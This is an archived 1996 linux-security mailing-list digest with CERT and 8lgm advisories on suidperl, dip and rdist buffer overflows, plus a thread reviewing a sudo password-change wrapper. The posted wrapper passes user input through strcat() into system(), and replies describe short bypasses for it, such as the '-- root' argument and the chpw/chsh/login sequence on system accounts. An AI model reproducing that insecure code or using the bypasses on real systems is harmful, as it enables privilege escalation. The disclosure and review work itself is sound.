Brian Mitchell [email protected] Unix Security / Perl / WWW / CGI http://www.saturn.net/~brian "I never give them hell. I just tell the truth and they think it's hell" - H. Truman linux-security/linux-security.960703100664 1767 1767 36406 6166601775 16672 0ustar majdommajdomFrom [email protected] Wed Jul 3 15:11:45 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA27315; Wed, 3 Jul 1996 15:11:45 -0400 To: [email protected] Cc: [email protected], [email protected] Subject: Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) References: From: "Darren/Torin/Who Ever..." In-Reply-To: Kevin Buhr's message of Thu, 27 Jun 96 10:34 CDT Date: 03 Jul 1996 11:34:12 -0700 Message-ID: <[email protected]> Lines: 44 X-Mailer: Gnus v5.2.31/XEmacs 19.14 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Kevin Buhr, in an immanent manifestation of deity, wrote: >(someone else said): >| Has anyone verified yet whether this is a problem on Linux boxes across >| the world? This is a problem with all linux boxes running any version of Perl before 5.003 and running any version of linux in the 1.1.x series or after. >I've verified the Perl saved setuid bug (CERT Advisory CA-96.12) on a >Debian Linux 1.2.8 box running Perl 5.001. Most other configurations Your best bet is to upgrade to Perl 5.003 as was stated in the CERT Advisory. It's been available on most CPAN mirrors since 25 Jun at {CPAN}/src/5.03/perl5.003.tar.gz. (CPAN is the Comprehensive Perl Archive Network, examples are ftp.funet.fi:/pub/languages/perl/CPAN and ftp.cis.ufl.edu:/pub/perl/CPAN. See ftp://ftp.uoknor.edu/mirrors/CPAN/CPAN.html for more.) Perl 5.003 has also been available for Debian since 25 Jul as perl_5.003-1.deb and perl-suid_5.003-1.deb. perl*_5.003-2.deb is now available as of Tuesday. This is available at ftp://ftp.daft.com/pub/debian/ as well as in buzz-fixes on the debian mirrors. Darren, debian perl maintainer - -- Darren Stalder/2608 Second Ave, @282/Seattle, WA 98121-1212/USA/+1-800-921-4996 @ Do you have your clothes on? I probably don't. Take yours off. Feel better. @ @ Sysadmin, webweaver, postmaster for hire. C/Perl/CGI programmer and tutor. @ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBMdq9GI4wrq++1Ls5AQEvAQP+LHdiSbYz/Od/BLjny8zDin/bL37GpZsW AaT2l/Jn7CtqpRUVAog9ZqTymztgc2MR28E/PVvOhDl3aN3XQnP8/SdkFcjN81ui wptoALl0gViRolpDpaTxIY6mmfvRenZ2Gy8mzB0hJmWnZEShKy8dyF5pjArdP2W+ R6Z8CoZZ3Ao= =kpwn -----END PGP SIGNATURE----- From [email protected] Wed Jul 3 16:26:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id QAA27802; Wed, 3 Jul 1996 16:26:31 -0400 Date: Sun, 30 Jun 1996 09:22:05 -0400 (EDT) From: Gary Anderson To: [email protected] cc: Suicide Object , Peter Orbaek , [email protected], [email protected] Subject: Re: [linux-security] suspicious users In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 28 Jun 1996 [email protected] wrote: > Date: Fri, 28 Jun 1996 04:12:19 -0400 (EDT) > From: [email protected] > To: Suicide Object > Cc: Peter Orbaek , > [email protected], [email protected] > Subject: Re: [linux-security] suspicious users > > > > Note: This system is for the use of authorized users only. > > Individuals using this computer without authority, > > or in excess of their authority, are subject to having > > all of their activities on this system monitored and > > recorded by system personnel. > > > > Tracing you is currently sponsored by Glock 17L (tm) > > Ummmm... admittedly I don't know nearly as much about Linux as most of > the readers on this list, but I do know a bit about law. > > Stating that only those who use the computer without authority or beyond > their authority doesn't really cut it. The reason is that it is > necessary to look over the shoulder of those who "may" be abusing access > in order to determine if they are indeed doing so. > > So, I'm afraid your disclaimer will have to be a bit more unsettling. If > anyone is really interested in this, I'll devote a little time to write > up something that may be a bit more bullet-proof. > > -Mark > This probably just about covers it. It is the notice used on our systems in the office: This system is for the use of authorized users only. Individuals using this computer system without authority, or in excess of their authority, are subject to having all of their activities on this system monitored and recorded by system personnel. In the course of monitoring individuals improperly using this system, or in the course of system maintenance, the activities of authorized users may also be monitored. Anyone using this system expressly consents to such monitoring and is advised that if such monitoring reveals possible evidence of criminal activity, system personnel may provide the evidence of such monitoring to law enforcement officials. __ **************************************************************************** _/_/_/_/_/ _/_/_/_/_/ _/_/_/_/_/ _/ _/ | Gary Anderson _/ _/ _/ _/ _/ _/ _/ | [email protected] _/ _/_/_/ _/_/_/_/_/ _/_/_/_/_/ _/_/ | -------------------- _/ _/ _/ _/ _/ _/ _/ | finger me for my _/_/_/_/_/ _/ _/ _/ _/ _/ | pgp public key **************************************************************************** The Army has carried the American ... ideal to its logical conclusion. Not only do they prohibit discrimination on the grounds of race, creed and color, but also on ability. -- T. Lehrer From [email protected] Wed Jul 3 16:50:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id QAA28071; Wed, 3 Jul 1996 16:50:08 -0400 From: Adam Solesby Message-Id: <[email protected]> Subject: [linux-security] sudo passwd wrapper To: [email protected] Date: Mon, 1 Jul 1996 13:41:54 -0500 (CDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2155 Sender: [email protected] Precedence: list I implemented a program to disallow changing of passwords of specified users. It is meant to be used with sudo for people that need to change passwords. Please email me suggestions because I'm not too security savvy. --Adam. chpw.c: ------------------------------------------------------------------------ #include #include #include #include /* chpw.c by Adam Solesby copyright 1996 This program doesn't allow passwords of usernames to be changed. It is meant to be a wrapper for use with sudo and your normal passwd program. It is probably not secure. Please email me if you use this and especially if you find errors or security holes. */ #define NUM_NOCHANGE 2 main( int argc, char ** ARGV ) { /* array of users that should not be changed */ char * NOCHANGE[NUM_NOCHANGE] = { "root", "adam" }; /* full path to passwd program */ char command[100] = "/bin/passwd "; char * sudouser; int i, illegal=0; openlog(ARGV[0], LOG_PID, LOG_AUTH ); sudouser = getenv("USER"); /* sudo should pass the environment */ /* simple test for people testing the system */ if ( sudouser == NULL || strcmp(sudouser,"") == 0 ) { printf("You cannot change passwords.\n"); syslog( LOG_AUTH , "UNKNOWN USER attempted to change a password."); } else if (argc == 2) { /* test for illegal usernames */ for (i=0; i\n", ARGV[0]); } ------------------------------------------------------------------------ -- ============================================================================= Adam Solesby [email protected] 615.269.7836 [home] http://www.shack.com [email protected] 615.817.9900 [pager] ============================================================================= From [email protected] Wed Jul 3 19:36:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id TAA30577; Wed, 3 Jul 1996 19:36:23 -0400 Date: Wed, 3 Jul 1996 19:30:06 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: [linux-security] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 [Forwarded e-mail from Security Team] X-Quote-I-Like: "Sysadmins are only understood by other sysadmins and other people who are qualified to be other sysadmins." --Tom Farrell (in alt.sysadmin.recovery). X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list Red Hat 3.0.3 and Slackware 3.0 (the only distributions I've checked so far) appear safe: by default, they do not install rdist setuid--though the version that comes with them (rdist-6.1.0) would be vulnerable if made setuid (by hand) after installation, for whatever strange reason. (I've inspected the code, and the unchecked buffer is rather obvious.) Note that there is no need to install rdist setuid if it is compiled to use rsh vice rcmd(); rsh is the (safe) default, and is the compilation method used by both Red Hat and Slackware. Anyone care to take a look at other Linux distributions to check for default installations that are configured for setuid/rcmd()? --Up. ------- start of forwarded message (RFC 934 encapsulation) ------- From: "[8LGM] Security Team" <[email protected]> To: [email protected] Subject: [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 Date: Wed, 3 Jul 1996 21:25:58 +0100 (BST) ============================================================================= Virtual Domain Hosting Services provided by The FOURnet Information Network mail [email protected] or see http://www.four.net ============================================================================= libC/Inside provided by Electris Software Limited mail [email protected] or see http://www.electris.com ============================================================================= [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 PROGRAM: rdist VULNERABLE VERSIONS: Solaris 2.* SunOS 4.1.* Potentially all versions running setuid root. DESCRIPTION: rdist creates an error message based on a user provided string, without checking bounds on the buffer used. This buffer is on the stack, and can therefore be used to execute arbitrary instructions. IMPACT: Local users can obtain superuser privileges. EXPLOIT: A program was developed to verify this bug on a SunOS 4.1.3 machine, and succeeded in obtaining a shell running uid 0 from rdist. DETAILS: Consider the following command, running as user bin. # rdist -d TestString -d TestString rdist: line 1: TestString redefined distfile: No such file or directory # Using libC/Inside, the following trace was obtained:- ----------------------------------------------------------------------- libC/Inside Shared Library Tracing. V1.0 (Solaris 2.5). Copyright (C) 1996, Electris Software Limited, All Rights Reserved. Tracing started Thu May 9 00:04:19 1996 Pid is 18738 Log file is /tmp/Inside.18738 Log file descriptor is 3 uid=2(bin) gid=2(bin) euid=0(root) groups=2(bin),3(sys) Program is rdist _start+0x30->atexit(call_fini) return(0) _start+0x3c->atexit(_fini) return(0) main+0x28->getuid() return(2) main+0x38->seteuid(2) return(0) main+0x5c->getuid() return(2) main+0x64->getpwuid(2) return((pw_name="bin", pw_passwd="x", pw_uid=2, pw_gid=2, pw_age="", \ pw_comment="", pw_gecos="", pw_dir="/usr/bin", pw_shell="")) main+0xb0->strcpy(user, "bin") return("bin") main+0xc4->strcpy(homedir, "/usr/bin") return("/usr/bin") main+0xd4->gethostname(host, 32) return(0) (Arg 0 = "legless") main+0x10c->strcmp("-d", "-Server") return(17) define+0x30->strchr("TestString", '=') return((null)) lookup+0x11c->malloc(16) return(0x33220) main+0x10c->strcmp("-d", "-Server") return(17) define+0x30->strchr("TestString", '=') return((null)) lookup+0x88->strcmp("TestString", "TestString") return(0) lookup+0xcc->sprintf(0xeffff8a8, "%s redefined", "TestString") return(20) (Arg 0 = "TestString redefined") yyerror+0x1c->fflush(stdout) return(0) lookup+0xd4->fprintf(stderr, "rdist: line %d: %s\n", 1, \ "TestString redefined") return(36) main+0x444->mktemp("/tmp/rdistXXXXXX") return("/tmp/rdista004_m") main+0x4d8->fopen("distfile", "r") return((null)) main+0x4fc->fopen("Distfile", "r") return((null)) main+0x560->perror("distfile") return() main+0x568->exit(1) ----------------------------------------------------------------------- At lookup+0xcc, sprintf() copies the string provided to an address on the stack. rdist does not check the length of this string, so a large string would overwrite the stack. FIX: Use a version of rdist that does not require setuid root privileges. Obtain a patch from your vendor. STATUS UPDATE: The file: [8lgm]-Advisory-26.UNIX.rdist.20-3-1996.README will be created on www.8lgm.org. This will contain updates on any further versions which are found to be vulnerable, and any other information received pertaining to this advisory. - ----------------------------------------------------------------------- FEEDBACK AND CONTACT INFORMATION: [email protected] (Mailing list requests - try 'help' for details) [email protected] (Everything else) 8LGM FILESERVER: All [8LGM] advisories may be obtained via the [8LGM] fileserver. For details, 'echo help | mail [email protected]' 8LGM WWW SERVER: [8LGM]'s web server can be reached at http://www.8lgm.org. This contains details of all 8LGM advisories and other useful information. =========================================================================== - -- - ----------------------------------------------------------------------- $ echo help | mail [email protected] (Fileserver help) [email protected] (Request to be added to list) [email protected] (General enquiries) ******* VISIT 8LGM ON THE WORLD WIDE WEB: http://www.8lgm.org ******** [8LGM] uses libC/Inside - the worlds leading security analysis tool now available to the public. Visit http:://www.electris.com ------- end ------- linux-security/linux-security.960704100664 1767 1767 11601 6167016567 16661 0ustar majdommajdomFrom [email protected] Thu Jul 4 15:26:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA02520; Thu, 4 Jul 1996 15:26:27 -0400 Date: Wed, 3 Jul 1996 21:39:54 -0400 (EDT) From: spew To: Adam Solesby cc: [email protected] Subject: Re: [linux-security] sudo passwd wrapper In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 1 Jul 1996, Adam Solesby wrote: > I implemented a program to disallow changing of passwords of specified users. > It is meant to be used with sudo for people that need to change passwords. > Please email me suggestions because I'm not too security savvy. --Adam. It shows. :) [snip] > { > strcat(command,ARGV[1]); Bug 1: Stack overwrite. Values of argv[1] greater than 100 - strlen("/bin/passwd ") in length can overwrite the stack and be used to obtain root. > system( command ); /* not safe */ Bug 2: Do I even have to explain this one? From [email protected] Thu Jul 4 15:36:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA02580; Thu, 4 Jul 1996 15:36:05 -0400 Date: Thu, 4 Jul 1996 19:08:32 +0100 (BST) From: Chris Evans To: Adam Solesby cc: [email protected], [email protected] Subject: Re: [linux-security] sudo passwd wrapper In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 1 Jul 1996, Adam Solesby wrote: > I implemented a program to disallow changing of passwords of specified users. > It is meant to be used with sudo for people that need to change passwords. > Please email me suggestions because I'm not too security savvy. --Adam. > chpw.c: [snip..] Problems with your program.... 1) Using system() with user-supplied arguements (check for shell metacharacters) 2) Using system() without clobbering the environment (lots of nasty variables users can set). 3) Relying on USER environment variable to report the user who isn't allowed to change passwords (you really want getpwuid(getuid())->pw_name) A better solution is to look at the ongoing shadow password suite development, I'm about to release a simple patch to allow certain privileged users to change certain passwords (ie ban changes to system accounts). The patch will eventually mutate in a config file capable of allowing certain users to expire passwords, change expiry info, lock accounts etc. Chris. [Mod: Also worth watching, for eventual solutions, is the PAM project. See http://www.redhat.com/pam/ for more info. --Jeff.] From [email protected] Thu Jul 4 15:37:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA02596; Thu, 4 Jul 1996 15:37:26 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 [Forwarded e-mail from Security Team] To: [email protected] (Jeff Uphoff) Date: Thu, 4 Jul 1996 16:40:51 +0200 (MET DST) From: "Peter Tobias" Cc: [email protected] Reply-To: [email protected] In-Reply-To: <[email protected]> from "Jeff Uphoff" at Jul 3, 96 07:30:06 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list Jeff Uphoff wrote: > Red Hat 3.0.3 and Slackware 3.0 (the only distributions I've checked so > far) appear safe: by default, they do not install rdist setuid--though > the version that comes with them (rdist-6.1.0) would be vulnerable if > made setuid (by hand) after installation, for whatever strange reason. > (I've inspected the code, and the unchecked buffer is rather obvious.) > > Note that there is no need to install rdist setuid if it is compiled to > use rsh vice rcmd(); rsh is the (safe) default, and is the compilation > method used by both Red Hat and Slackware. > > Anyone care to take a look at other Linux distributions to check for > default installations that are configured for setuid/rcmd()? The Debian distribution does not install rdist setuid. Thanks, Peter -- Peter Tobias EMail: Fachhochschule Ostfriesland [email protected] Fachbereich Elektrotechnik und Informatik [email protected] Constantiaplatz 4, 26723 Emden, Germany [email protected] linux-security/linux-security.960705100664 1767 1767 10647 6167240570 16664 0ustar majdommajdomFrom [email protected] Fri Jul 5 12:22:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA08185; Fri, 5 Jul 1996 12:22:33 -0400 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Re: [linux-security] sudo passwd wrapper To: [email protected] (Chris Evans) Date: Fri, 5 Jul 1996 03:42:21 +0200 (MET DST) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "Chris Evans" at Jul 4, 96 07:08:32 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 654 Sender: [email protected] Precedence: list Chris Evans: > Problems with your program.... [ snip ] 4) strcat(command,ARGV[1]) - no check for buffer overrun 5) "sudo chpw root" won't work, but "sudo chpw '-- root'" will (if passwd uses getopt - shadow passwd does). This program was probably a joke (why on 1 July and not 1 April?). At least the author was right in the "it is probably not secure" comment. But it's easier to just give the root password to people who need to change passwords... The moderator must have been asleep (or really busy with some other not security-related things) to approve such a short program with so many obvious holes :-). (sorry, couldn't resist) Marek [Mod : As a rule I don't really review code segments that are posted here, other than to make sure they're relevant to Linux security in some way. I know that I'll miss things in my review (it's inevitable), so I normally opt for tossing the code to the wolves here; as a pack they tend to me more thorough. --Jeff.] From [email protected] Fri Jul 5 12:23:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA08201; Fri, 5 Jul 1996 12:23:15 -0400 Date: Thu, 4 Jul 1996 20:40:42 -0400 (EDT) From: Mark Whitis To: Adam Solesby cc: [email protected] Subject: Re: [linux-security] sudo passwd wrapper In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Other people have already pointed out various serious bugs in this program involving the environment and system() calls and buffer overflows before I even read your message. Here is one which is pretty obvious. On Mon, 1 Jul 1996, Adam Solesby wrote: > /* array of users that should not be changed */ > char * NOCHANGE[NUM_NOCHANGE] = { "root", "adam" }; How about: "bin", "daemon", "adm", "lp", "mail","news","uucp","operator", "games", "gopher", "ftp", and even "nobody"? Also "sync", "shutdown", and "halt"? 1. chpw bin 2. chsh bin 3. login bin 4. bad stuff The privilidge accounts (such as "bin","daemon",...) can be used to gain new priviledges and the "unpriviledged" accounts such as "nobody" can still be used to create a back door for future access to the system (even "nobody" can read /etc/passwd). These holes can be exploited by either the your semi-trusted assistants or anyone who they inadvertantly allow to snoop their activities by careless actions over the net. The method of checking against a list of exclussions is a bad idea in the first place: - You can easily omit important values. You missed about 15. - If you add a priviledged or other non-user account later, it won't be on your list. - it is vulnerable to string equality problems. If "operator" is in your exclusion list, it does not match "operatorxyz" which on some systems is equivalent (user names being limited to 8 chars). Fortunately, Npasswd as distributed with redhat 3.0.3 does not have this problem. A safe uid range would be better or a list of allowed usernames stored in a file (such as "/etc/pleebs") which can only be changed by root and which is automatically updated by your add user script. --------------------------------------------------------------------------- --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- --------------------------------------------------------------------------- linux-security/linux-security.960709100664 1767 1767 26761 6170602076 16671 0ustar majdommajdomFrom [email protected] Tue Jul 9 16:41:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id QAA01346; Tue, 9 Jul 1996 16:41:27 -0400 From: [email protected] (Jeffrey J. Radice) Message-Id: <[email protected]> Subject: [linux-security] wordperfect for linux To: [email protected] Date: Mon, 8 Jul 1996 22:57:20 -0500 (CDT) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Am I paranoid, or is this potentially a problem: WordPerfect for Linux maintains state information in /tmp/wp-{hostname}. All the files in that directory are mode 666. If I run wordperfect as root (don't know why I would, but let's presume) ... Observe: /tmp>ls -al wpc-suzi/ total 7 drwxrwxrwx 2 root friends 1024 Jul 8 22:33 ./ drwxrwxrwt 5 root wheel 2048 Jul 8 22:33 ../ -rw-rw-rw- 1 root friends 324 Jul 8 22:33 .wpexc60.man -rw-rw-rw- 1 root friends 0 Jul 8 22:33 _W60_0000026462a_ prw-rw-rw- 1 root friends 0 Jul 8 22:33 excmsg60| -rw-rw-rw- 1 root friends 148 Jul 8 22:33 unix60.def -rw-rw-rw- 1 root friends 65 Jul 8 22:33 wpq60_0 -rw-rw-rw- 1 root friends 65 Jul 8 22:33 wpq60_65535 Now even if I ran WP as myself, that would potentially leave world writable files, owned by me, lying around. Actually some of these files don't change from one run to the next, so if I installed WP as root, which is necessary, and then tested it before logging out of a root shell (presuming lack of sudo), there would be root-owned world-writable files in /tmp until it was cleaned out. Seems dangerous to me, though I'm not sure how to exploit it outside of changing one of those to a script and hoping that it is run. -jjr From [email protected] Tue Jul 9 17:02:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA01446; Tue, 9 Jul 1996 17:02:37 -0400 Date: Tue, 9 Jul 1996 10:49:31 -1000 (HST) From: Jordy X-Sender: [email protected] To: linux-security Subject: [linux-security] joy Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list joy, a new security hole for linux, guess dip 3.3.7n wasn't as security as hoped.. 3.3.7o is out if you read the CERT bullitin ;p [Mod: CA-96.13 follows in next post. --Jeff.] ,''~``. ,''``~. ( o o ) ,( o o ), /--.oooO--(_)--Oooo.--------------------.oooO--(_)--Oooo.---\ | http://www.thirdwave.net/~jordy/ | | There are people in this world that look at art but can't | | see it. There are also people who listen to music but | | don't hear it. I feel sorry for those who look and | | listen and envious of those who can see and hear. | | .oooO Oooo. | | ( ) Oooo. [email protected] .oooO ( ) | \-----\ (----( )------------------------( )--- ) /------/ \_) ) / \ ( (_/ (_/ \_) From [email protected] Tue Jul 9 17:21:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA01763; Tue, 9 Jul 1996 17:21:51 -0400 Date: Tue, 9 Jul 1996 17:17:01 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected], [email protected] Subject: [linux-security] CERT Advisory CA-96.13.dip_vul (dip vulnerability). X-Spook: cracking cracking Iran X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list This is actually rather old news; Dan Walters posted an alert about this vulnerability on January 22, 1996, and Marc Ewing posted binary fix availability information for Red Hat systems the next day. The original alert(s) is/are archived at: linux.nrao.edu:/pub/security/list-archive/linux-alert/linux-alert.9601 linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960122 linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960123 The exploit that CERT mentions was publicly posted to linux-security and Bugtraq in January as well. --Up. -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.13 July 9, 1996 Topic: Vulnerability in the dip program - ----------------------------------------------------------------------------- The CERT Coordination Center has received several reports of exploitations of a vulnerability in the dip program on Linux systems. The dip program is shipped with most versions of the Linux system; and versions up to and including version 3.3.7n are vulnerable. An exploitation script for Linux running on X86-based hardware is publicly available. Although exploitation scripts for other architectures and operating systems have not yet been found, we believe that they could be easily developed. The CERT Coordination Center recommends that you disable dip and re-enable it only after you have installed a new version. Section III below describes how to do that. As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.13.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - ----------------------------------------------------------------------------- I. Description dip is a freely available program that is included in most distributions of Linux. It is possible to build it for and use it on other UNIX systems. The dip program manages the connections needed for dial-up links such as SLIP and PPP. It can handle both incoming and outgoing connections. To gain access to resources it needs to establish these IP connections, the dip program must be installed as set-user-id root. A vulnerability in dip makes it possible to overflow an internal buffer whose value is under the control of the user of the dip program. If this buffer is overflowed with the appropriate data, a program such as a shell can be started. This program then runs with root permissions on the local machine. Exploitation scripts for dip have been found running on Linux systems for X86 hardware. Although exploitation scripts for other architectures and operating systems have not yet been found, we believe that they could be easily developed. II. Impact On a system that has dip installed as set-user-id root, anyone with access to an account on that system can gain root access. III. Solution Follow the steps in Section A to disable your currently installed version of dip. Then, if you need the functionality that dip provides, follow the steps given in Section B. A. Disable the presently installed version of dip. As root, chmod 0755 /usr/sbin/dip By default, dip is installed in the /usr/sbin directory. Note that it may be installed elsewhere on your system. B. Install a new version of dip. If you need the functionality that dip provides, retrieve and install the following version of the source code for dip, which fixes this vulnerability. dip is available from ftp://sunsite.unc.edu/pub/Linux/system/Network/serial/dip/dip337o-uri.tgz ftp://sunsite.unc.edu/pub/Linux/system/Network/serial/dip/dip337o-uri.tgz.sig MD5 (dip337o-uri.tgz) = 45fc2a9abbcb3892648933cadf7ba090 SHash (dip337o-uri.tgz) = 6e3848b9b5f9d5b308bbac104eaf858be4dc51dc - --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Uri Blumenthal for his solution to the problem and Linux for their support in the development of this advisory. - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. This file: ftp://info.cert.org/pub/cert_advisories/CA-96.13.dip_vul http://www.cert.org click on "CERT Advisories" -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMeJzdXVP+x0t4w7BAQEJdAQAt0Y9zXDjpeuRYFI+vmceXpHL8QJPm1GL zArG5qhGx5+9hTioQCUiq/kl6uXMI0IAbfdwDG3I0wg5i7Jvi8PLYyDujpl8+gVT jzJFEQ/S9CjZ6LUxzo2Twg90urQrphFzwnY4L5DVEftKaoL1zCpg6i4SadC7vQUm n0HWkh7kV4M= =zcQN -----END PGP SIGNATURE----- From [email protected] Tue Jul 9 21:15:39 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id VAA04130; Tue, 9 Jul 1996 21:15:39 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Matt) Newsgroups: mail.linux.security Subject: Re: [linux-security] joy Date: 9 Jul 1996 20:48:46 -0400 Organization: DataHaven Project +1 412 421 4516 (DHP.COM) Lines: 9 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list Jordy ([email protected]) wrote: : joy, a new security hole for linux, guess dip 3.3.7n wasn't as security : as hoped.. This is a major case of programs that are SUID, that in most cases do not need to be. Fixing such minor things helps improve security greatly. -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." linux-security/linux-security.960710100664 1767 1767 35730 6171023363 16652 0ustar majdommajdomFrom [email protected] Wed Jul 10 11:47:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA09064; Wed, 10 Jul 1996 11:47:47 -0400 Date: Wed, 10 Jul 1996 02:12:11 -0400 (EDT) From: Jon Lewis X-Sender: [email protected] To: Samuel Lewis cc: Linux Servers mailing list , [email protected] Subject: [linux-security] Re: You wouldn't believe it... In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 9 Jul 1996, Samuel Lewis wrote: > BTW, I noticed some samba logs on [system name deleted]. Are you running > samba on that system, or is it integrated into red had 3.0.3? This is something I meant to say something about...but kept forgetting. There's this box I installed very nearly all of Red Hat 3.0.3 on to get a feel for Red Hat and see just how much I'd hate it. Maybe I just haven't gotten to know it well enough...but I greatly prefer my hacked up slackware based boxes. Anyway, one day a co-worker brings in his notebook with pcmcia ethernet, and asks me whats up with this Windows server on our network. "What windows server?" It was then that I found that by default, Red Hat 3.0.3 setup Samba for me and ran it with /tmp world rw. I still don't know Samba, but I assume this is the section of config file responsible: [tmp] comment = Temporary file space path = /tmp read only = no public = yes On a small box such as this one, where the root fs is _the_ fs, a world writable (no account needed) exported directory could be a very bad thing. ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.fdt.net | unsolicited huge files. ________Finger [email protected] for PGP public key_______ From [email protected] Wed Jul 10 11:48:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA09080; Wed, 10 Jul 1996 11:48:46 -0400 Date: Tue, 9 Jul 1996 23:53:35 -1000 (HST) From: Jordy X-Sender: [email protected] To: linux-security Subject: Re: [linux-security] joy In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On 9 Jul 1996, Matt wrote: > Jordy ([email protected]) wrote: > : joy, a new security hole for linux, guess dip 3.3.7n wasn't as security > : as hoped.. > > This is a major case of programs that are SUID, that in most cases do not > need to be. Fixing such minor things helps improve security greatly. actually, dip does need to be setuid because it modifies the routing tables. the problem with it was that it doesn't check strlen(), stupid thing... you know, someone should write a nice little howto file on setuid programming: on all input do strlen() don't use system() put the full paths of all binaries when execl*() check eiud reset all "evil" environmental variables never run a shell script from a setuid program if possible, setuid to something other than root that has only the power to do what is needed possibly do what apache does? spawn new daemons as user nobody? it was said that apache did it the RIGHT way. any other suggestions? Jordy ,''~``. ,''``~. ( o o ) ,( o o ), 